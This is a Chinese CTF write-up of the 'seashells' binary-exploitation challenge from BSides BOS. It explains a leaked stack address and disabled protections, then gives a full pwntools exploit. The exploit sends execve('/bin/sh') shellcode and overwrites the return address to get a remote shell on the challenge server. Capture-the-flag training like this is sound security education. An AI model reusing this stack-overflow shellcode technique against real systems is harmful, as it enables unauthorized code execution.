BSides BOS CTF

seashells

描述:这道题是BSides BOS CTF上中Binary Exploitation中的一道题,题目相对来说比较简单。

解题步骤
第一步:在终端下运行该程序,程序结果如下:

程序运行结果.png

在上面的运行结果中可以看到,该程序输出了一个16进制的数,目前还不知道它代表了什么意思。
第二步:检查程序的保护机制
程序保护机制

从结果来看,程序保护机制基本关闭。
第三步:对程序进行反汇编
反汇编.png

通过分析可以得到,之前输入的16进制数是栈顶的地址,然后read函数会从标准输入流读入数据写入从栈顶指针开始的地方,然后程序的防护进制NX没有打开,因此我们可以在栈中写入shell的汇编指令,然后让存放返回地址的覆盖为栈顶指针。
第四步:编写exp

#!/usr/bin/env python

from pwn import *

context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'

#io = process('./seashells')
io = remote('challenge.ctf.games', 30398)
stack_addr_str = io.recvline()[:-1]
stack_addr = int(stack_addr_str, 16)
io.recv()

shellcode = asm(shellcraft.amd64.execve('/bin/sh','0','0'))
payload = shellcode.ljust(0x88, 'a') + p64(stack_addr)
io.sendline(payload)
io.interactive()

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

友情链接更多精彩内容